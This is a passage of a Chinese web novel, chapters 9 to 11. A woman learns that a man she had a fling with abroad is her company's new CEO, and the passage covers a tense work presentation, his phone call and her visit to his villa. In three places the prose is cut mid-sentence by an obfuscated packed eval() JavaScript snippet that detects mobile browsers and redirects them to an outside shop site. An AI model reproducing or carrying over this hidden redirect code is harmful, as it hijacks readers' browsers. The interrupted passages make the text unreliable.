她作势丢开手,却见他松开了眉头,于是得逞地勾着嘴角,用丝巾,把他的手绑上。由她主导,狠狠地戏弄了他一次。 在他最濒临崩溃的临界点,却停了下来。从头到尾都没让自己受一丝疼。他怒意勃发,她却很得意,下床去卫生间收拾。 回来背朝他躺下,她说:“晚安。” “解开。”他冷声道。 她抿嘴笑了笑,没有理会。 “别让我说第二次。”他的声音紧绷,似乎还在难受。 哼,你说第三次也没用。 为了防止他挣开,她绑的不算松。他如果想要自己脱身,只怕要费一番功夫。稍有不慎,就会挣扎成死结。 她几乎在一分钟内陷入了熟睡。 然而感觉才睡下,就被一阵嗡嗡的震动吵醒了,摸过手机看了眼,是团队里同屋的姑娘张宝静。 以为是工作上的事,她下意识点开接通:“喂。”嗓音低哑。 “皮皮姐,你在哪啊?怎么还不回来?”张宝静的声音很急。 她清醒了点:“出什么事了吗?” “你出什么事了吗?我都睡一觉了,睁眼看你还没回来,你在哪呢?” 她默了一瞬:“我没事,你先睡。”然后挂了电话。 凌晨四点半。 身边的人正在熟睡,她睁着眼睛躺了一会儿,悄悄坐起身,掀被下床,抱起衣服、手机和背包,蹑手蹑脚地走到卫生间。 换好衣服出来时,床上的人仍然没有动静。 也好。 这时候醒了,四目相对大家都尴尬。 她本想去看看,他的手腕有没有挣开,又怕来回走动会惊醒他,站在玄关迟疑了片刻,还是转身拉开了房门。 一个品相不错的男人。如果在国内相识,倒是可以考虑进一步相处。 可惜了。 那一星半点的遗憾,随着飞机落地首都机场,像头顶的毛毛细雨一般,汇入汪洋大海消失不见了。 之后又是老狗喘气一般地上班,被办公软件二十四小时绑架的日子,她偶尔也会想起,发生在异国他乡的那场风月故事。 但也就到此为止了。 直到今天,在庄园外看见贺章,她的眼睛,只怕和此时的苏晨雪一样,瞪得又圆又大。 故事听完,苏晨雪震惊得半晌没说话。 皮一夏抠着沙发巾,也半晌没说话,她是因为尴尬,不知道苏苏会怎么想她这种行为。 “所以,你见色起意,勾引贺章哥哥上……睡觉,用丝巾绑手戏弄过他,还拿八百块钱羞辱过他,然后今天才发现,他是华森集团新任CEO,并且还知道你姓什么。”苏晨雪说。 ……概括得很准确。 “依你看,我这个事犯得,算很严重吗?”皮一夏小心翼翼地问。 苏晨雪目光透露着怜悯:“皮皮,这世上已经没有你在乎的人了吗?” 这、这么严重吗? “你知道吗?听说前两年,有一个女生,是我们这圈里的,家里有钱,长得也挺漂亮,性子比较桀骜,她喜欢贺章哥哥,所以趁他从美国回来休假时,约他吃饭,但是贺章哥哥没答应。第二天,他养的一只小博美突然不见了,他以为狗狗跑丢了,找了挺久的,后来发现,是那个女生为了报复他,想办法把小狗带走,遛着玩儿去了。你知道那女生,后来怎么了吗?” 怎么了?总不会坐牢去了吧。 9. 汇报 “她去非洲挖石油了。” “……………………” 还是坐牢吧。 皮一夏心如死灰,甚至已经不想问,惹了贺章的狗,跟去非洲挖石油,这两者之间有什么关联。 苏晨雪贴心地解释说:“那女生家里的企业,是跟ZSY合作矿产开采项目的,本来有个十多亿的国际大单正在洽谈,都准备签署意向书了,单子突然飞了,听我哥说,就是贺章哥哥干的。后来那个女生的爸爸知道了这事,为了向贺章哥哥示好,就把她女儿发到非洲盯项目去了。” 好彪悍的行事作风! 狗狗又没丢,不过受了点捉弄,哪怕骂人几句,吵一架呢,正常人不该这样处理吗? 皮一夏代入那个被发配去挖石油的女生,满脸苦涩地平躺到沙发上,像一条死鱼一样,望着天花板,幽幽说:“我刚才跟他解释了八百块钱的事,他看上去接受了,之前在巴塞罗那,也是他自己主动回来的,还有那个……绑手,是不是可以理解成,男女之间的一点小情趣?无论如何,罪不至死吧?他今天真的给我弄蒙了,完全看不出心里的想法,最后还叫我皮小姐……这多吓人!” 说着“腾”一下从沙发上坐起来,看向苏晨雪。 “苏苏,不管他知不知道我的身份,如果你们私下碰到了,一定不要提我,拜托拜托!” 皮一夏双手合十,苏晨雪点了点头,正在这时,外面有人敲门。 苏晨雪喊了声“来了”,跑去开门。 门一打开,褚彦笑吟吟走了进来。 “哥?”苏晨雪愣了下,笑起来。 “听说你在房间躲着,我来看看……咦?有客?”褚彦有点惊讶。 “嗯,我闺蜜皮一夏,你听说过,但是没见过。” 苏晨雪领着褚彦进来,皮一夏从沙发上站起身,和他握了下手。 “褚彦。”他风度翩翩地颔首,简短地介绍自己,“一直听晨晨提起你,今天一见,果然比我家这丫头漂亮多了。” 苏晨雪瞬间挂脸,被他揉了揉头顶,皮一夏见状玩笑说:“苏苏在我眼里是最漂亮的,你可别害我。” 话音落,手机响了,她接通说了几句话,挂掉后跟苏晨雪说:“我得走了,有点工作上的事。” “很急吗?”苏晨雪问,“你都没吃几口饭,吃完再走嘛!” “不了。”她拎起背包,还有装湿衣服的手提袋,“表姐这衣服,等我洗好了送来,你帮我跟她说一声,今天谢谢了,祝她新婚快乐。” “好,我知道了。”苏晨雪看向褚彦,“哥,你开车去送送皮皮。” 皮一夏忙摆手拒绝:“不用不用……你忘了?还有个大冤种在外面。” 孙向前应该还没走,他的车不坐白不坐,正好趁机解决这个大麻烦。 “那好吧。” 苏晨雪挽着她胳膊送到门口,皮一夏又小声说:“我跟你说的事,千万别忘了。” “记得记得……你路上小心。” “知道了。”皮一夏朝褚彦点头告辞。 等人进了电梯,苏晨雪关上门,拉着褚彦坐到沙发上:“哥,你帮我个忙。” “什么?”褚彦见她神色郑重,不由收起了笑。 “如果你私下见到了贺章哥哥,不要在他面前,提起皮皮。” “为什么?” “哎呀你别问,反正记着这事就是了,很重要。” 褚彦蓦地拧了眉。 忽然想到一些闺蜜抢男人的狗血戏码,难道,晨晨喜欢贺章,但贺章喜欢皮一夏,所以不能提? “不行。”褚彦断然道,“贺章不行!” “啊?!”苏晨雪懵着脸,“什么不行,贺章哥哥哪里不行?” “他哪儿都不行!” 褚彦“腾”地站起身,少见地沉了脸。 苏晨雪想起皮一夏的“艳遇之夜”,小声嘟囔了句:“他好像……挺行的。” 扫见她面上羞红,褚彦的脸色更难看了。难道,贺章做了禽兽?! 褚彦一把将她拉起来:“贺章欺负你了?” 两人四目相对,苏晨雪明白了他什么意思,于是脸更红了。 “你胡说什么呀!不是你想的那样。总之你记得,别提皮皮就是了。” 正说着,楼道里传来笑闹声,很快,房门被磁卡刷开,新娘和伴娘回来换礼服了,几人忙着打招呼寒暄,这事也就略过不提了。 连下的几场雨浇灭了夏末暑气,雨过天晴后,北京进入了一年中最舒适的季节。 周一下午的高管会议上,贺章轻轻咳嗽了两声,文娱业务负责人赵衡的汇报被打断,抬眼看向长桌末端主位上的人。 贺章手指撑着下巴,眼神盯着前方的液晶显示屏:“抱歉,你继续。” “我的汇报差不多就是这些,请贺总指正。” 赵衡脸上带了点笑,语气轻快平和,透着几分对新领导自然的亲近。 贺章结结实实听了一整天的高管汇报,对这样的笑容和语气已经很熟悉了。 他神色漠然说:“你侧重讲了今年的几个大项目,确实做的很不错。但我更关注的是营收,目前为止,文娱业务亏损达7.9亿,这个数字,你怎么看?” 赵衡面色一僵,讪笑着解释:“经济下行期,几家友商的数据也都不好看,相比之下,华森的亏损还算适中。而且,刚刚过去的Q2,文娱业务总营收57.3亿,同比增长8%,在三、四季度我们也会持续发力,争取交出更好看的成绩单。” “这个亏损数字,预计多久能改善,甚至扭亏为盈?半年?一年?”贺章继续追问。 赵衡神色惊怔,其他高管脸上也尽是愕然,心说太子爷果然是搞技术出身的门外汉,集团的文娱业务这么多年一直在亏损,怎么可能半年一年就扭亏为盈?开什么玩笑?能少亏一点就算不错了! “贺总,”赵衡郑重说,“这不太现实。或者说,太难了。” “难在哪?” “市场竞争太激励,这两年内容生产、技术创新带来的的各项成本增加,用户付费意愿降低,加上短视频对中长视频的冲击……方方面面都有困难,要维持现状已经很难了。” 贺章盯着赵衡,缓缓交叠双手:“就是说,你从没有想过盈利,只想维持现状?” 赵衡面露难堪,低眉回避贺章的视线:“做生意没有不想盈利的,我们一直在调整运营规划,但也请贺总考虑到客观存在的困难,容我们一点时间。” “据我所致,你入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“办完了。这是所有高级总监以上的员工资料。”林献说着,把一个厚厚的文件夹递过去,“已经按照业务板块分好类了。” “好。”贺章随手翻了翻,翻到其中一页时停了下来。 林献觑着他神色说:“原来Lola小姐叫皮一夏,是文娱公司的高级总监,怪不得您前几天叫她‘皮小姐’。” “你又知道了?”贺章瞥了他一眼。 林献敏锐地察觉到,提到这位Lola小姐时,即便自己偶尔多言,Ethan也不会生气。” “我是熟悉资料时,无意间看到的。”林献笑得很专业,“您之前说,要挑几场中层管理者的汇报听一听,我把建议人选附在最后了,其中就有皮总监。” 他换用工作场合的称呼,这样就显得公事公办,一点也没有聊老板私事的意思。 “你筛选中层汇报的依据?”贺章问。 林献说:“分三个维度,能力突出的,有强烈个人特色的,在同事中间话题度最高的——这里的话题度,不一定全是正向。一共选了五个人。” 贺章的视线还在其中一页上停着:“她属于哪个维度?” 10. 相逢 “谁?” 林献一脸正经,接到贺章略显凌厉的警告眼神,忙收了打趣的心思。 “皮总监……三样全占。” 贺章微微挑眉,合上文件夹:“就按你定的名单。” 过了一会儿,见林献还坐着,贺章奇怪地看着他:“还有事?” “哦,对。”林献看了看手表,七点过五分了,这算下班时间,“Lola小姐的连衣裙和披肩,我送去干洗好,放在您车的后备箱了。” 贺章喝着水,神色波澜不惊地“唔”了一声。 “没什么事的话,我先出去了。” “好。” 林献走到会议室门口,忽又被身后的人喊停。 “还有事吗Ethan?” “这两天怎么是你在开车?司机呢?” “上次的司机,按您的指示已经让他下班了,新司机还在选,很快就会定下来。” 他感觉老板还有后话,因此说完了也没走,仍站在门口等回应。 果然,贺章沉吟几秒说:“去问问他,还愿不愿回来。” 林献有点惊讶,毕竟此前从无先例,但又不算太惊讶,和Lola小姐相关的所有事,都不必太惊讶。 “好的Ethan,如果他愿意回来,我会做好提醒,告诉他下不为例。” “嗯。” 万恶的周一终于过完了。 六点半一到,华森文娱大楼17层的办公区,员工已经走了一半,皮一夏还在哈欠连天地加班。 团队的小姑娘张宝静一向混不吝,见状便问:“皮皮姐,你今天脸色好菜,周末没休息好吗?跟男朋友干柴烈火了?” 皮一夏面无表情:“是啊。感觉身体被掏空。” 周六参加完婚礼,她接到一个私活,是以前合作过的宣传供应商,叫张晓,手里有个竞标方案很紧急,张晓突发阑尾炎住院,她的团队里又刚离职两个人,实在腾挪不开,只得把活儿外包出去。 乙方找甲方打工,也算是破天荒经历的头一遭,不过外包费还可以,八千,快够她交俩月房租了,她略一考虑就答应了。 这样一来,手里就压了三个PPT。 从云溪庄园回来,顾不上排解跟孙向前吵完架的愤怒心情,她就立刻进入了工作状态。 没黑没白地写了一天半,直到周一凌晨两点四十五,才把外包方案交了差,合上电脑,洗漱收拾完,已经三点半了。 昏睡五个小时,又爬起来上班,接着搞自己的汇报方案。 这一整天下来,皮一夏头上像驮了团黑雾似的,全靠咖啡续命。 已经晚上八点了,眼看又是要加班的节奏,她深吸一口气,拿起杯子,去茶水间泡咖啡。 路过一号会议室,看见老板赵衡从里面出来,她礼貌地打了声招呼,心里却暗自惊讶:周六才办完豪门婚礼的新郎官,脸色怎么这样难看?今天不是去集团开会了吗?难道挨批了? 正想着,又见Daisy从会议室里出来了,脸色也不大好看。 在茶水间冲咖啡时,Daisy也端着水杯过来了。 “亲爱的,汇报文件准备的怎么样了?”Daisy边接水边笑着问。 她身材高挑、体态微丰,穿着淡粉色包身连衣裙,一头黑色长卷发,白皙鹅蛋脸,细长的狐狸眼,红唇肉感,属于很有女人味的长相。 Daisy在男同事中间很有人气,多半是因为外表,在女同事中间风评也还可以,这就要有点真本事了。 她仿佛跟所有人都很热络,逢人就笑,说话时挽着对方手臂,十分自然亲近,偶尔谁有事需要帮忙,也总是义不容辞,尽管不是时时能帮到,起码态度很拉好感,至少皮一夏觉得,Daisy是很有个人风格的,尽管两人私交一般,偶尔在食堂遇到了,也会拼桌一起吃饭。 听她问起汇报文件,皮一夏拿小匙搅着咖啡说:“还没搞完,不过快了。你呢?” “哎呀你还不知道我,不拖到最后一分钟,交不了差的。好紧张,不知道明天汇报成什么样呢。这次竞聘,多半我是没戏了。” Daisy和皮一夏同属内容中心,一个负责剧集运营,一个负责宣传,两块业务并列,直属上级都是Vivian。 Vivian还有一个月休产假,休完就要和老公一起移民新西兰,空出来的职位从公司内部选拔,Daisy和皮一夏都是晋升的候选人,根据这次的汇报来评定。 皮一夏有上进心,Daisy虽然嘴上常说自己佛系,内里也藏着劲儿。两人的竞争几乎人尽皆知,所以皮一夏不信她这套谦辞。 “一起加油吧。”她随口说了句,就走出了茶水间。 周二下午四点五十,皮一夏在会议室做汇报前的准备,先连上自己的电脑,开机投屏设备,打开汇报文件,一边在心里默默梳理,一边等高管进会。 过了五分钟,赵衡和Vivian带着各自的助理进来了,一起来的还有人事部总监方蔷,皮一夏起身打招呼,等五个人都坐定后问:“可以开始吗?” “再等会儿。”Vivian说,“老板要来一起听。” 老板……赵衡不是已经在了吗?皮一夏有点蒙。就在这时,会议室的门再次被推开,她下意识转头看去,霎时双目圆瞪,倒抽一口凉气! 林献站在门口,扶着门把手,随后贺章走了进来,几位高管纷纷起身打招呼,喊他“贺总”。 贺章穿着黑西裤黑衬衫,衬衫下摆妥帖地收束进腰间,袖口利落整齐地挽上去,露出肌肉结实的小臂,他不疾不徐走到会议桌中心C位,淡淡出声:“坐。” 众人随之落座,皮一夏傻站在液晶屏前,直到那双漆黑的眼睛朝她眺来一眼,几乎凝固的心突然开始狂跳。 会议室里百叶窗半卷,光线昏暗,贺章面无表情,其他高管分列两边,全员正襟危坐,室内气压骤降。 皮一夏怀里像揣了个兔子,紧张得忍不住打嗝,在安静的会议室里,显得那么突兀,她猛地捂住了嘴。 Vivian为缓和气氛,转头向贺章介绍:“贺总,这是内容中心的高级宣传总监,皮一夏……皮皮,贺总刚履职,你还没见过,他这会儿正好有时间,一起来听听大家的工作,你准备好了就开始吧。” “……” Vivian,你那张37度的嘴,怎能说出如此冰冷可怕的话? 皇帝为什么要来听县太爷汇报工作?这中间差了多少个职级?!如果不是愚人节玩笑,那就只有一个解释:县太爷的报应来了。 皮一夏忍不住又打了个嗝。 当着这么多高管,她连着打了两个嗝。七个人的视线同时聚焦在她身上,安静的会议室里,只有电脑主机轻微的嗡鸣声,投影仪直直打过来一束冷白的光,尘埃在光域里狂乱地舞,就像她此刻的心跳……令人窒息的沉默里,所有人都在等她说话。 皮一夏脸色涨红,结结巴巴说了句:“贺总好,那我就开始今天、那个汇报了。” “皮总监。”贺章忽然开口,嗓音淡漠无情。 皮一夏懵着一张脸:“啊?” “你很紧张?” 皮一夏盯着他神色冷硬的脸,额头直冒热气。 昨天上午十点,集团发布了CEO任命公告,从那时起她就在祈祷,千万千万,别在园区里遇见贺章。 华森集团北京总部园区由4个地块、共10个建筑单体组成,贺章的办公室在主楼A座顶层,而文娱公司在C座15-17层,中间隔着小半个园区,按说碰到的几率是微乎其微的。 结果确实如她所想,没在园区里碰到,却在会议室里被抓个正着。她前几天胡编乱造的身份被人当场拆穿,这感觉真是……太刺激了! 皮一夏尴尬得脚趾抠地,强装镇定说:“……不紧张。”说完又想打嗝,被她狠狠忍住,硬生生憋回了气道里。 贺章“嗯”了一声:“开始吧。” “好的。” 皮一夏握着激光翻页笔,身体僵硬地站到了液晶屏一侧。 开场的五六分钟里,心跳像机关枪一样突突突突,眼睛一直盯着显示屏,对着空气演讲。随着讲解的深入,才慢慢忘了紧张,偶尔跟下面的人做眼神交流,但还是不敢正视贺章。 余光里,他始终坐得端正,连姿势都没变过,偶尔咳嗽一声,惊得她下意识和他对视,嘴上少不得打磕巴。 整个分享持续了大概二十分钟,接下来是问答环节,赵总和Vivian提的问题都围绕实际业务,她的回复也是游刃有余。 两位直属上级问完后,赵衡看向贺章:“贺总,您这边还有什么指教?” 避无可避了,皮一夏只得假装坦然地回视。 贺章这会儿略歪着身子,手肘撑在会议桌上,坐姿闲适了不少,但她一点也不敢放松。 贺总对她的人品评价恐怕已经低到了深渊,在印象这么差的情况下,连带着也会对她的工作能力存在偏见,这关不好过。 “你怎么看待,宣传这个职业?” 贺章的问题,让她愣了一下。猜到会有开放性问题,但没猜到会开放成这样,跟实际业务毫不相干。 有一瞬间大脑空白,皮一夏眼神不由瞟向Vivian和赵总,但这两位显然不会帮她。 她硬着头皮,胡乱抓了一句中规中矩的大白话:“不同行业的宣传岗,有不同的职能。作为文娱公司的宣传,我们要做的,是把好内容推向市场,让更多人看见和喜欢。” “怎么推向市场?”贺章又问。 “精准定位,挖掘内容亮点,结合时代特性和受众偏好,制定宣传策略,选择合适的渠道和媒介曝光,引发受众讨论,并根据用户的讨论点,反哺、优化宣传策略,持续制造话题提升曝光,收割更多用户。” 别再追问了,她要露怯了。 皮一夏冷汗涔涔地暗自祈祷。可惜,贺章听不见她的心声,即便听见了,也只会更狠地磋磨她。 “如果片子没有亮点,你要怎么推?” “怎么会没有亮点……”好吧,她想起了过往经手的很多烂项目,烂到她想骂街,于是有点心虚地说,“总还是能找出几个亮点的,项目立项之初,都是做过市场调研的。” 完了。 虽然贺章依旧面无表情,但在听到她的回答之后,沉默的那两秒,给了她这样一种直觉:他想听的,不是这样的答案。 他的眼神太犀利,任何的不老实都逃不过,皮一夏心里一慌,喉咙不由发紧,忍不住交代大实话。 “……话虽如此,但业内盛传一句话,营销只能决定飞多高,质量才能决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428024|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞多远。其实项目没有亮点,宣传也很难办。我们在项目里属于靠后的环节,如果前面的人花了大把的钱,造出一堆垃圾,然后我们还要花尽量少的预算,去把成本收回来。片子播完效果不好,内部背锅的少不了宣传,外部观众骂声一片,大家一起受着,彼此都难堪……” 赵总和Vivian的脸色怎么有点难看……完了!完了完了……赵总是华森文娱首席运营官,这么回答,岂不是在说赵总运营不利,搞了一堆没有亮点的垃圾项目?不是那个意思啊老板,我没有要点你,我只是打个比方! 皮一夏瞬间头皮发麻,嘴角抽搐,急中生智地继续补充。 “……以上所说,是行业内存在的普遍现象。在这个内容为王的时代,观众都不是傻子。最好的办法,是多产出优质项目,用好内容,去对抗行业和市场的不确定性。而这一点,正是咱们华森文娱的强项,我相信,在诸位领导的带领下,华森文娱的业务一定会越来越辉煌!” 总算圆回来了妈妈!皮一夏内心疯狂飙泪,默默低头,手指不停地抠桌角, 昏暗的会议室里,空气凝滞了片刻。贺章忽然说:“口才不错。” “……” 好熟悉的四字评价,听着不像什么好话。不过好在,他终于松了口:“我没有其他问题了。” 心脏落回肚子里的刹那,皮一夏悄悄呼出一口气,跟历了一场生死劫似的,衣服后背都湿了。 “如果各位领导都没有其他问题,那我就先出去了。” Vivian微笑着点头:“去吧。叫Daisy进来。” “好的。” 皮一夏目不斜视走出会议室,关上门的那一刻,她的胳膊和腿都软了。 张宝静已经来会议室门口打探好几趟了,这会儿见皮一夏出来,忙小声拉住她问:“怎么样,顺利吗皮姐?” “回去再说。”她扶着张宝静的胳膊,走到休闲区,瘫坐在高脚椅上,“你帮我叫Daisy,来这个会议室。” “哦,好的。”张宝静走了。 皮一夏趴在桌上,放空了足足十分钟,才恢复了一些力气。一旦有了精神,又开始想刚才的汇报……一言难尽的表现,她这晋升大概是没戏了。 正暗自懊恼,忽听身后有人叫:“皮总监。” 转头一看,是林献。 “您好林助理。” 皮一夏起身打招呼,突然心头一动。 在云溪庄园时,她冒犯了贺章,这会儿正好可以借着林献的口,告诉贺章,先前她并不知道他身份,所以行为偶有放肆,也是可以理解的吧?毕竟不知者无罪。 想至此处,她歉意地笑了笑:“不好意思啊林助理,我不知道Ethan先生就是贺总,之前多有冒犯,真是对不住。” 林献神色一怔。 原来Lola小姐不知道Ethan的身份吗?怪不得刚才在会议室里,她看上去有点紧张。这两个人,到底是怎么认识的呢? 好奇归好奇,林献脸上并没有表露半分,依然礼貌地笑着。 “没关系。我想贺总也不会计较。” 他不会计较?真的吗?皮一夏忍不住想撇嘴,想起了那位被发配到非洲挖石油的女生。 “怎么样,感觉还好吗?我是说刚刚的汇报。” 说起这个,皮一夏又垮了脸:“不太好。” “你好像有点紧张。” “看出来了吗?很明显吧?”她有点担心。 一个高级总监,在一次常规的工作汇报里,让人看出了紧张,好像刚出社会的学生妹一样,这太不专业了。哎……还不是怪你老板压迫感太强。 “还好。”林献打量着她的神情,试探道,“就是感觉你,似乎挺怕贺总的。” 怕啊!你怎么知道我干了什么以下犯上的事……这感觉就像,上学时做了点出格的事,在老师那里记了名字,只怕以后时不时就得挨顿敲打。 “其实不必太紧张,贺总在工作中很专业,以后日子久了你就知道。” 谢谢了最好是这样。 皮一夏微笑着说:“我相信。” 但最好不要在工作中碰面,不,私下里也不要有任何联系,可是,西装还没还给他。 “林助理,贺总的外套已经干洗好了,您看要不,我明天直接带来公司,拿给您……” 她话还没说完,林献忽然抓起手机,放到了耳边:“喂……好的,我马上过去。”接着一脸歉意地对她说,“不好意思啊,有点急事,我先走了。” “……” 林助理你要不要这么荒唐啊!你的电话根本没响铃、没震动,接起来时屏幕还是朝外的啊……到底发生了什么啊?! 皮一夏懵逼地看着林献,内心很是疲惫。看来那个电话,她是非打不可了。 晚上九点,一辆吉普牧马人SUV匀速驶出华森集团园区。 后座的人正在闭目养神,忽然拿起手机点亮屏幕,看了一会儿,又熄了屏,闭上了眼睛。 似乎在等什么。 林献从后视镜收回视线,想了想说:“Ethan,Lola小姐似乎有点怕您。” 贺章眉峰一动,没睁眼,也没说话。 过了许久,林献都已经忘了这句话,忽然听见一句:“我今天很可怕?” 11. 别墅 您每天都挺可怕的。和您共事的哪位同事不是提心吊胆,生怕犯一点错,然后被您一针扎穿喉咙,血呼滋啦地弃尸荒野。 林献一边腹诽,一边斟酌回:“一如既往,专业犀利。” 这句之后,车里又没声了。林献有点忐忑,是不是他说得不合老板心意? 可您要想追姑娘,不能这么个样子啊!谁没事想在一头老虎跟前打转儿啊,等着被撕烂吞到肚子里去吗? 车里的温度降下来了。 林献正琢磨着怎么缓和气氛,却听贺章问:“你说她三样全占,是哪三样?”顿了顿,又补充,“除了能力。” 倒是越发不掩饰对Lola小姐的好奇了。 林献暗自发笑:“强烈的个人特色是指外貌,您看到了,她长得……十分漂亮。是集团内网票选出的‘司花’,偶尔内部有个什么出镜需求,都会求着她上,她的镜头表现力很强。” “第三样呢?” “与工作无关,是Lola小姐的个人喜好。有点……难以形容,我建议由您亲自去发现。” 牧马人开进丰和壹号别墅,贺章又看了眼手机。 林献转念又说:“还有一件事。Lola小姐已经把您的外套干洗好了,也许这两天就会给您打电话。” 话音刚落,贺章的手机屏幕亮起。 进来一条短信。 「贺总您好,我是皮一夏。外套已洗好,方便给个寄送地址吗?或者我带到公司,放在您指定的位置?」 这是皮一夏经过深思熟虑后,慎重发出的短信。 打电话,太可怕。 她今天下午刚被追问了一通,那感觉不亚于被狗疯撵了一路,到这会儿还没完全缓过来,而且下班了,完全不想再听见老板的声音。 短信这功能好啊!不紧不慢地连接,彼此都没有压力。如果遇到不想回复的信息,还可以假装没看见——被淹没在铺天盖地的营销短信里了。 但如果贺章没看见,她就……再发一遍。 就连短信的遣词用句,也是她精心设计过的。一个废字没有,既说清了意思,又给了老板选择:如果您嫌打字费劲,或不想暴露地址,只需要指定公司里的一个位置,即可。 最好是让她放在公司,这样,她就不必暴露自己的地址。 时间过去整整两个小时,期间,皮一夏捧着手机看了至少五次,收件箱和垃圾箱都检查过了,仍然没收到回复。 晚上十一点半,她仔细地检阅完所有的社交媒体,并在张宝静的请假流程里批示,‘朕知道了’,心满意足,关上灯,美美地闭上眼睛,准备夜会周公。 突然,一阵急促的手机铃声响起。 她抓起手机看了一眼,猛地弹坐起来。 电话铃一直在响,像来自地狱的死亡之声,漆黑的房间里,一串熟悉的数字显示在屏幕上。 皮一夏屏住呼吸,缓慢点下接听键,手机放在耳边,脸上带着礼貌而不失僵硬的微笑:“您好,贺总。” 丰和壹号别墅二层。 贺章穿着白色居家休闲裤和短袖T恤,黑发半干,面无表情地站落地窗前,视线停在庭院里的泳池上方。 泳池里的水呈蓝紫色,在漆黑夜色的映衬下,像一方散发着冷气的玉。 话筒里的声音很轻,像微风吹拂发丝,挠着他的耳廓,贺章静了一瞬才开口。 “你很怕我?皮一夏。” 他的语气好像在质问,又好像只是疑问,不太好分辨。但很不悦,这是肯定的。嗓音仿佛带着一股金石刮擦之声,令人胆寒。 皮一夏默了两秒,慎重回答:“我很尊敬您,贺总。” 贺章挑了挑眉。 这女人鬼话张口就来的本事,他已经领教过多次了。 “哦?这我倒没看出来,毕竟,你绑人的动作很熟练。” 来了来了……终于还是来了! 在云溪庄园不是讲和了吗?!她都以为他不追究了,又突然来这么一句,这不是报复是什么?!林助理还让她不必太紧张,面对这样一个心思深沉睚眦必报的人,怎么可能不紧张! “贺总,”皮一夏硬着头皮说,“对不起,我真诚地跟您道歉,当时我不知道您的身份,否则一定不会……搭讪您,更不敢冒犯您的贵体。请原谅我的无心之失,可以吗?” “你诚心道歉?”贺章问。 尽管话筒另一端的他看不见,皮一夏还是神色恭敬地点头,掷地有声地说:“特别诚心。” 接下来是漫长的沉默。 皮一夏手腕都开始发酸时,终于听见一句:“好。那就让我看看,有多诚心。” “……” 什么意思?留了这么一句,挂了电话是什么意思? 啊啊啊啊啊啊啊啊啊啊问题解决了吗?怎么让您看看,我把心刨出来吗?! 皮一夏懵逼地坐了会儿,忽然想到一个问题:她为什么会接到贺章电话?是她先发了短信给他……可她的短信是为了要地址、还外套啊! 现在,外套的事提都没提,还莫名其妙被老板留了个作业?苍天啊!事情到底是从哪一步,开始出错了?巴塞罗那……我恨你。 黑暗里,皮一夏直挺挺地倒回床上,睁着眼睛,毫无困意。 突然,手机又嗡嗡震动起来。 她屏住呼吸看了眼,是一条短信。仍然来自贺总。 「送到丰和壹号24幢,本周六。」 丰和壹号……是个小区?太好了,无论如何总算解决了一个麻烦。 皮一夏点开高德地图,想看看丰和壹号在哪,万一离得太远,寄闪送可能就不合适了。 突然,又一条短信嗡嗡弹出来,吓的她心脏抖了抖。 「你亲自送来。」 “……” 接下来从周三到周五,皮一夏这个班上的,简直跟梦游一样。脑子里无时无刻萦绕着一个问题:周六见了贺总,应该怎么表现,才能彻底消除他对她的芥蒂? 还没想出个头绪,时间就到了周六。从来没有哪一周,像本周的工作日一样,飞逝而过……无论如何,皮一夏还是打车来到了丰和壹号。 在北京上学加工作快十年,高档住宅她也见过一些,但从来没见过豪气成丰和壹号这样的。 门卫确认了访客信息后放行,她从社区大门进来,沿着石板路走了一会儿,经过一大片湖区。湖畔树木森然,水中天鹅游弋,一路穿石桥、过假山,仿佛走在南方秀丽的园林之中。 为了盖别墅,造了个园林,还是你们有钱人会享受! 足足十五分钟后,终于走到了24幢别墅,皮一夏再次被目之所及的低调奢华震撼了。 巍然的两扇褐色实木大门上,一排排金属铆钉整齐列阵,前方立着两根石柱,搭出一片开阔的门廊,廊顶的天花板上,镶着华丽的壁灯……这扇门后面,是不是什么宫殿? 皮一夏呆站在廊下,都忘了按门铃,这时,大门忽然从里面打开了。 一位身穿灰色制服的中年男人走出来,微笑着说:“是皮小姐吧?我是李桂,在这里工作,贺先生吩咐我来接您,请进。” “谢谢。” 皮一夏拎着装外套的袋子,跟李桂进了庭院。 庭院里绿意盎然,陈设风雅别致,一条蜿蜒的鹅卵石小径连接大门和三层别墅,看着又要走好几分钟的样子……有钱人的房子都要藏这么深吗?她开始默默思考,打理这样一座别墅需要多少人工和花销,但一路走来竟然没看到人。 经过了一轮又一轮的震撼,等进到别墅里面时,她已经不会太惊讶了。 李桂领她到一楼的客厅,让她在沙发上坐,倒了杯茶说:“贺先生正在开一个视频会议,请皮小姐稍等。” “好的,谢谢。” 李桂说完就出去了,皮一夏研究完沙发上的花纹,又开始看天花板上的水晶灯,等屋子里的摆设都被她看过一轮后,贺总的会议还没开完。 已经九点半了。 为了尽早解决这桩事,大周末的,她连懒觉都没睡,跟上班打卡一样,一大早过来,然后等了整整半个小时! 算了,谁让他是老板呢。 皮一夏百无聊赖地玩了会儿手机,旋转楼梯的方向传来脚步声。 贺章穿着灰色休闲居家服和白色拖鞋下来了,头发不是上班时那种打理过的造型,就像在巴塞罗那时那样,顺毛自然地散落。 有一瞬间,皮一夏忘了他是高高在上的贺总,只当还是兰布拉大街咖啡店里看圣经的男人。 “等了很久?” 闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“好的。那第一件事就算解决了,接下来我们解决第二件事。” 